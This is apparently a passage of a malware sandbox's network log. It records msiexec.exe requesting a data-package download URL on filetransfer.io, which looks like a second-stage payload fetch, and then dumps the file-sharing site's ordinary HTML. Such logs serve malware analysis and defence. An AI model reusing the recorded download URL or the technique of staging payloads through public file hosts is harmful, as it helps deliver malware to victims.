2025-01-10 19:15:07 UTC	948	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: 15vFKf1mEhPqL7/3mqzTZYNSUkCSfSG3/qCqpzNExgdlFCV5sQp5VbF1XIhRmukQxh4qfyEX1qY= x-amz-request-id: XEK2K84VZY7Y569V Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rXnr3IH%2F4vsPGYmVo0b89OpnAaan2wbvB%2BuoVdOX74Fd54AXaIWBgTmZqyT0owhkWDjI3Ao5whlvEohHQDgmJUxK9S%2Fln%2BAHjmGh8TaktS%2FLG6K5o82dYdcgAKA3n2ULdog%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe75ad6c72b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2040&min_rtt=2036&rtt_var=773&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1407228&cwnd=217&unsent_bytes=0&cid=6cf658ead6525ed1&ts=210&x=0"
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:15:07 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 32 61 32 38 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a28<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:15:07 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.6	57994	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:08 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:15:08 UTC	613	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:15:08 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:15:08 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hn7gjyahIlowkroo%2FGK5H8wujlugqt7Z9DSxUZBl7LjoZUJ4QF76l9XqzaUwaJVzNoxEtb06y7kPh1ZeX18ffV4iFvz0lr0qiZaeVWsC12d1%2BwrCrkInzNGaHjBpZU97fOE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe7b1a0b8c47-EWR
2025-01-10 19:15:08 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	57995	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:09 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:15:09 UTC	950	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:09 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: ZGQkx6Trpf8+DkanHusfLTpYDoio4ku0guKGMZBiLxuL+qHggQWxeayhgCdtor1mjfTnu4/yiQs= x-amz-request-id: AHDSECKGZYN5TEFT Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SpEAVdYE3C5bLEdJPpeidEj42HHvm%2FTn%2FxMVEXgtC7PsuqRMI0XqMJUdOBNmAIlFFVST6jOdL0yrEIKcPaIiv7b%2FDF7glTzpohyRf8trpwCjBj%2Fr%2BNmGKuxYFtgvAzCxT3M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe7f182a19aa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=17367&min_rtt=1813&rtt_var=10043&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=798&delivery_rate=1610590&cwnd=32&unsent_bytes=0&cid=b7d27380d9e28cc9&ts=202&x=0"
2025-01-10 19:15:09 UTC	419	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 Data Ascii: <meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:de
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e 70 6e Data Ascii: le-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.pn
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: de.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" content=
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c 69 73 Data Ascii: beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilelis
2025-01-10 19:15:09 UTC	1369	IN	Data Raw: 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 58 58 Data Ascii: ESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fXXX
